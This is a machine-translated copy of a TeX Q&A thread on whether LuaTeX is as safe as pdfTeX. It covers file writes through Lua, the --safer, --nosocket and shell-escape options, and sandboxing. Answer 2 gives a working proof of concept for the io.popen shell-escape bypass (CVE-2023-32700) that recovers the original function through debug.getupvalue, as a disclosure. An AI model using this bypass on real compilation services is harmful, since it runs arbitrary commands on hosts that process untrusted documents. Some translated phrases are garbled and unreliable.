我的texmf.cnf
文件包含以下几行:
% 允许对以“.”开头的文件名使用 TeX \openin、\openout 或 \input % (例如,.rhosts) 还是当前树之外 (例如,/etc/passwd)? %a(任意):可以打开任何文件。 %r(受限):不允许打开“点文件”。 % p(偏执狂):作为“r”,禁止进入父目录,并且 % 限制绝对路径在 $TEXMFOUTPUT 之下。 openout_any = p openin_any = a
但是如果我通过编译以下代码lualatex
,则文件/home/login/unsafe.txt
就会被创建!
\documentclass{article}
\usepackage{luatextra}
\begin{luacode*}
function securityproblem(a)
local file = assert(io.open(os.getenv("HOME") .. "/unsafe.txt", "w"))
file:write("foobar\n")
file:write(a)
file:close()
end
\end{luacode*}
\begin{document}
\directlua{securityproblem("\today")}
\end{document}
luatex 和 pdftex 一样安全吗?
编辑:
使用该--safer
选项,luatex
无法写入文件(通过io.open
)但fontspec
(例如)不可用。
有没有一种安全的方法来使用 LuaTEX fontspec
(以及 LuaTeX 的其他有用功能)?
编辑(2023 年 5 月)
Lua(La)TeX 的安全性似乎在某些方面得到了考虑:LuaTeX 安全漏洞
十年后,我的问题有一个可以接受的答案吗?
答案1
您必须小心使用该--safer
选项。 lualatex --safer file.tex
正确地禁用了许多功能。但lualatex file.tex --safer
不会禁用您的示例,也os.remove()
不会发出有关位置错误的选项的警告(至少在 Windows 下使用 TeX Live 2012 时)。
根据LuaTeX 手册,--safer
禁用以下功能:
- 操作系统
- 执行、exec、setenv、重命名、删除、tmpdir
- io
- popen,输出,tmpfile
- 低频
- rmdir、mkdir、chdir、lock、touch
此外,它禁用已编译的 LUA 库的加载(对这些库的支持已在 0.46.0 中添加),并且它会导致
io.open()
除读取之外的任何打开的文件的操作失败。
快速浏览这三个库的文档后,我没有发现其他可能造成危害的明显内容。 lfs.link()
可能会被用来创建符号链接,并可能在某些情况下导致问题。
您可能还需要--nosocket
/--no-socket
选项。
--nosocket
使套接字库不可用,从而 LUA 无法使用网络。
答案2
编辑(2023 年 5 月)
Lua(La)TeX 的安全性似乎在某些方面得到了考虑:LuaTeX 安全漏洞
十年后,我的问题有一个可以接受的答案吗?
我是那篇链接文章的作者,所以让我们仔细看看其中的一些问题。
CVE-2023-32700(“ popen
”漏洞)
这是该链接中讨论的主要问题。我们先引用LuaTeX 手册§4.1.3:
开关
--[no-]shell-escape
、--[enable|disable]-write18
和--shell-restricted
具有与 pdfTeX 中的相同效果,并且另外使、 和io.popen()
遵循os.execute
所请求的选项。os.exec
os.spawn
进一步了解一下,手册web2c
:
TeX 可以执行 shell 转义,即任意 shell 命令。虽然这非常有用,但也存在明显的安全隐患。因此,从 TeX Live 2009 开始,shell 转义的受限模式是默认操作模式,它只允许执行配置文件中指定的某些命令
texmf.cnf
。
--shell-escape
如果指定了该选项,或者环境变量或配置文件值shell_escape
设置为“t”或“y”和“1”,则允许不受限制的 shell 转义。shell_escape
如果设置为“p”,则允许受限的 shell 转义。这是默认值。--no-shell-escape
如果指定了或者将shell_escape
设置为其他任何值,则Shell 转义将被完全禁用。[...]
此功能的目的是使 TeX 文档能够在单个用户在自己的机器上运行已知文档的常见情况下执行有用的外部操作。在 CGI 脚本或 wiki 等输入必须被视为不可信的环境中,应完全禁用 shell 转义。
最后,摘录如下luatex --help
:
--[no-]shell-escape disable/enable system commands --shell-restricted restrict system commands to a list of commands given in texmf.cnf
我们应该期待什么
根据这些手册中引用的片段,你可能认为编写一份文档时需要包含类似
$ luatex --no-shell-escape some-document.tex
意味着这个文档根本不能执行任何shell命令。
让我们测试一下:
$ luatex --no-shell-escape '\directlua{print(io.popen("python3 --version"))}\end'
This is LuaTeX, Version 1.17.0 (TeX Live 2023)
nil all command execution is disabled
$ luatex --shell-restricted '\directlua{print(io.popen("python3 --version"))}\end'
This is LuaTeX, Version 1.17.0 (TeX Live 2023)
restricted system commands enabled.
nil specific command execution disabled
$ luatex --shell-escape '\directlua{print(io.popen("python3 --version"):read("a"))}\end'
This is LuaTeX, Version 1.17.0 (TeX Live 2023)
system commands enabled.
Python 3.11.3
这一切正如我们预期的那样:只有通过“不受限制的”shell 逃逸,我们才能运行任意命令。
漏洞
但如果你特别聪明,你可以解决这个问题:
% shell-escape-test.tex
\directlua{
local function get_upvalue(func, name)
local nups = debug.getinfo(func).nups
for i = 1, nups do
local current, value = debug.getupvalue(func, i)
if current == name then
return value
end
end
end
local outer = get_upvalue(io.popen, "popen")
local popen = get_upvalue(outer or io.popen, "io_popen")
print(popen(arg[rawlen(arg)]):read("*a"))
}
\csname@@end\endcsname
\end
$ luatex --no-shell-escape shell-escape-test.tex "python3 --version"
This is LuaTeX, Version 1.16.0 (TeX Live 2023)
restricted system commands enabled.
(./shell-escape-test.texPython 3.11.3
)
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
因此,尽管所有文件都这么说,我们能仍然使用 shell escape。但是这里到底发生了什么?
从上面的链接:
当 LuaTeX 启动时(在运行任何 TeX 或 Lua 代码之前),它首先调用 C 函数
load_luatex_core_lua
。此函数运行嵌入到 LuaTeX 二进制文件中的文件luatex-core.lua
。除其他外,此文件修改了一些 Lua 模块,主要是为了向后兼容和安全目的。以下是相关代码的摘录:
local io_popen = io.popen -- [...] local function luatex_io_popen(name,...) local okay, found = kpse_checkpermission(name) if okay and found then return io_popen(found,...) end end -- [...] io.popen = luatex_io_popen
上面的代码非常简单:它保存了原始文件的本地副本
io.popen
,定义了一个新的包装函数,该函数检查当前 shell 转义设置是否允许该命令,并将其设置io.popen
为包装函数。这里的问题在于本地副本。包装函数保存了对原始 的引用
io.popen
,使用 Lua 标准库函数debug.getupvalue
,我们可以访问这个内部引用。一旦我们提取了内部io.popen
,我们就可以使用它来不受限制地执行任意进程,完全破坏任何 shell 逃逸保护。
CVE-2023-32668(“ luasocket
”漏洞
现在让我们看看该链接中的另一个“漏洞”。与上次一样,我们将从引用文档开始。
来自 LuaTeX 手册§4.3:
luasocket
,作者:Diego Nehabhttp://w3.impa.br/~diego/software/luasocket/。.lua
来自的支持模块luasocket
也预加载在可执行文件内部,没有外部文件依赖关系。
因此,手册指出luasocket
LuaTeX 中包含支持。顾名思义,此模块可让您在 LuaTeX 内部发出网络请求。
输出如下luatex --help | grep socket
:
--nosocket disable the lua socket library
这并没有直接说明,但存在--nosocket
很大程度上暗示套接字(网络访问)是默认启用的。
因此,此漏洞意味着您可以从 TeX 文档内部发出网络请求:
\documentclass{article}
\usepackage{luacode}
\begin{luacode*}
local http = require "socket.http"
function get_ip()
body, code, headers = http.request("http://icanhazip.com")
tex.sprint(body)
end
\end{luacode*}
\def\getip{\directlua{get_ip()}}
\begin{document}
Your IP address is \getip.
\end{document}
但文档中 (至今已有 10 多年) 一直指出 LuaTeX 包含并启用了luasocket
,因此这并不奇怪。这种行为可能是不受欢迎的,并且具有潜在的危险性,但我不会将其称为“漏洞”。
最初的问题
那么,这与原始问题有何关系?让我们再次查看 LuaTeX 手册的 §4.1.3:
目前,
--safer
[...] 使得io.open()
以除读取之外的任何方式打开的文件失败。
手册中从来没有直接说过什么,但这很大程度上暗示了--safer
,io.open()
能打开文件进行写入。
我确信您已经重新运行了问题中的代码,因此您可能已经发现它仍然有效。luasocket
但这与问题非常相似:这两个功能都可能存在潜在危险,但公平地说,LuaTeX 从未声称限制任何一个功能。
与 pdfTeX 相比
另外,请记住 pdfTeX 过去也存在类似的漏洞:CVE-2016-10243影响了 pdfTeX,并允许特别聪明的用户运行任意 shell 命令,即使只启用了“受限”的 shell 逃逸——就像最近修补的“ popen
”漏洞一样。此外,pdfTeX 嵌入了xpdf
,存在不少安全问题。
无论如何,我认为 LuaTeX 总体上不如 pdfTeX 安全,因为它提供了更多与主机系统交互的方式。当然,有些事情可以加强,但你能做的事情是有限的——使用 LuaTeX 的主要原因之一是因为更好地访问底层系统。
此外,从 pdfTeX 发布(1996 年)到现在,计算技术已经取得了很大进步。那时,容器和虚拟机还不存在(至少不存在x86
),因此安全运行不受信任的文档的唯一方法是保护底层程序。
如今,启动一个隔离容器来编译任何不受信任的文档已经变得快速而简单:
$ docker run --rm -it -v "$(pwd):/root" registry.gitlab.com/islandoftex/images/texlive:latest-medium lualatex /root/untrusted.tex
或者,如果您使用的是 Linux,您可以直接将 LuaTeX 编译器置于沙盒中:
$ systemd-run --user \
-p PrivateUsers=true \
-p TemporaryFileSystem=/:ro \
-p PrivateDevices=true \
-p PrivateTmp=true \
-p BindPaths="$(pwd)" \
-p BindReadOnlyPaths='/bin/ /etc/ /lib/ /lib64/ /usr/' \
--working-directory="$(pwd)" \
--wait --collect --pipe \
lualatex untrusted.tex
以下任一情况更多的比在主机上运行 pdfTeX 更安全,因为这些沙箱可以确保即使是完全恶意的 LuaTeX 二进制文件也只能非常有限地访问主机系统。
答案3
设置
- 操作系统:Arch Linux(Manjaro)
- TeXLive: texlive-bin 2022.62885-3
- 终端:Xfce/bash
从技术上讲,texlive-bin 2022.62885-3 不是撰写本文时(2023 年 5 月)的最新版本;但比 10 年前最初提出这个问题时可用的版本要新,并且根据拖船码头问题作者提供了修复漏洞之前的版本。
观察结果
更新1(2023-05-25):
包括的输出kpsewhere texmf.cnf
,感谢@Paul Gaborit 指出该命令。
1. 使用 进行编译lualatex FILENAME.tex
,
无需修改texmf.cnf
创建文件于/home/$USER/unsafe.txt
输出kpsewhere texmf.cnf
:/usr/share/texmf-dist/web2c/texmf.cnf
2. 使用 进行编译lualatex --safer FILENAME.tex
,
无需修改texmf.cnf
不起作用,因为--safer
标志被检测到并抛出一条错误消息:
luaotfload can't run with option --safer. Aborting
/usr/share/texmf-dist/tex/luatex/luaotfload/luaotfload.lua:105: safer_option used
输出kpsewhere texmf.cnf
:/usr/share/texmf-dist/web2c/texmf.cnf
3. 编译时lualatex FILENAME.tex
附加
本地texmf.cnf
选项TEXMFCNF
1
我创建了一个当地的 texmf.cnf
仅包含:
openout_any = p
openin_any = a
在编译之前,我将这行添加export TEXMFCNF='PATH/TO/LOCAL/TEXMF/DIR/'
到我的 中~/.bashrc
。正如预期的那样,编译由于 而失败I can't find the format file 'lualatex.fmt'!
(因此不会产生/home/$USER/unsafe.txt
),因为本地texmf.cnf
在技术上不完整,并且缺少的信息首先阻止了 lualatex 运行。
输出kpsewhere texmf.cnf
:(无)
4. 编译时lualatex FILENAME.tex
附加
本地texmf.cnf
选项TEXMFCNF
2
我创建了一个当地的 texmf.cnf
仅包含:
openout_any = p
openin_any = a
在编译之前,我将该行添加export TEXMFCNF='PATH/TO/LOCAL/TEXMF/DIR/:'
到我的文件中~/.bashrc
,并使用编译了 MWE lualatex FILENAME.tex
。现在编译运行没有错误,但也会产生/home/$USER/unsafe.txt
输出kpsewhere texmf.cnf
:PATH/TO/LOCAL/TEXMF/DIR/texmf.cnf
解释:
:
字符串末尾的允许TEXMFCNF
Kpathsea 加载texmf.cnf
它能找到的所有内容(包括默认的)。省略 则强制:
仅kpathsea
使用 中指定的路径TEXMFCNF
。- 尽管 的输出
kpsewhere
指向PATH/TO/LOCAL/TEXMF/DIR/texmf.cnf
,texmf.cnf
但必须加载另一个(因为本地文件不完整,不允许编译)。
5. 编译时仅使用lualatex FILENAME.tex
本地
,texmf.cnf
选项TEXMFCNF
1
我复制/usr/share/texmf-dist/web2c/texmf.cnf
到当地的 texmf.cnf
并在最后添加:
openout_any = p
openin_any = a
在编译之前,我将该行添加export TEXMFCNF='PATH/TO/LOCAL/TEXMF/DIR/'
到我的文件中~/.bashrc
,并使用 编译了 MWE lualatex FILENAME.tex
。编译将在以下位置创建文件/home/$USER/unsafe.txt
输出kpsewhere texmf.cnf
:PATH/TO/LOCAL/TEXMF/DIR/texmf.cnf
解释:在文件中,和/usr/share/texmf-dist/web2c/texmf.cnf
的值已设置为所需值。openout_any
openin_any
观察总结
该文档根本无法编译,或者/home/$USER/unsafe.txt
将创建不需要的文件。
可能的原因
更新1(2023-05-25):
根据@Paul Gaborit 的评论,
TeX
的部分尊重luatex
与 相关的设置kpathsea
,但是Lua
的部分luatex
忽略这些设置。
这意味着没有办法用Lua
本地来控制 的行为texmf.cnf
。此外,Lua
似乎还忽略了
openout_any = p
openin_any = a
这些已经在默认设置中texmf.cnf
。
有没有一种安全的方法可以将 LuaTEX 与 fontspec(以及 LuaTeX 的其他有用功能)一起使用?
考虑以下 MWE:
\documentclass{scrreprt}
\usepackage{fontspec}
\begin{document}
Test Document to see, whether {\ttfamily fontspec}
works with the {\ttfamily --safe} or other options
\end{document}
编译lualatex FILENAME.tex
生成有效的 pdf。
编译lualatex --safe FILENAME.tex
中止并给出以下错误消息:
(/usr/share/texmf-dist/tex/latex/base/fontenc.sty
! Font \TU/lmr/m/n/10.95=[lmroman10-regular]:+tlig; at 10.95pt not loadable: me
tric data not found or bad.
<to be read again>
relax
l.112 ...lt\familydefault\seriesdefault\shapedefault
因此,自 2023 年 5 月起,该--safe
选项不能与 一起使用fontspec
。使用\usepackage{fontspec-luatex}
不会改变任何事情
。LuaTeX 参考手册提供额外的、限制较少的命令行选项。理论上它们不应该阻止文件 i/o,但例如网络功能。命令行选项是:
--nosocket
(阻止联网功能)--no-shell-escape
(shell-escape
完全阻止)--shell-restricted
(限制shell-escape
于 中定义的行为texmf.cmf
)
MWE 编译lualatex --nosocket --no-shell-escape FILENAME.tex
了lualatex --nosocket --shell-restricted FILENAME.tex
这当然不能提供像 那样多的保护--safer
,但总比没有好。所以不幸的是,到 2023 年 5 月,没有简单的方法可以保证LuaLaTeX
安全并使用其所有功能。
结论:luatex
是否一样安全pdftex
?
嗯,这得看情况。我认为有两个方面需要考虑:
- 一旦
shell-escape
允许,luatex
和pdftex
在技术上都是不安全的。在这种情况下,恶意行为者可以随心所欲地注入代码,完全不受luatex
和的内部功能pdftex
实际影响。 - 但是如果
shell-escape
明确禁止会怎样呢?这是一个很难明确回答的问题。
有人可能会说,即使没有这些shell-escape
选项,由于该Lua
编程语言非常强大并且比传播范围更广LaTeX
,潜在的恶意行为者将拥有庞大的知识库可以从中获利,并且可以使用更多的攻击选项。但是,LaTeX3
也非常强大并且 - 理论上 - 可以提供与类似的文件 i/o 漏洞Lua
。降低这种风险的是,LaTeX3
语法相当繁琐并且在核心 LaTeX 社区之外并不广泛使用。因此,由于知识库较小,可用的目标较少且没有价值,可以假设攻击风险要小得多。
在我看来,只要有人试图寻找LaTeX3
漏洞并复制LuaLaTeX
漏洞,就没有其他可能。拖船码头。
此外,根据我的经验,开箱Lua
即用的子集与常规的 有很大不同。因此,(更高级别/复杂的)恶意软件的移植并不总是很简单。LuaLaTeX
Lua
我的建议是,第一次使用时pdftex
(如果它能提供您所需的所有功能),然后仅LuaLaTeX
在需要时才切换到。这也使得与其他技术水平较低的 LaTeX 用户共享 LaTeX 文件变得更加容易,因为根据我的经验,有时编译LuaLaTeX
会更加棘手,并且不同版本(版本以及MikTeX
与TeXLive
)之间可用的功能也不同。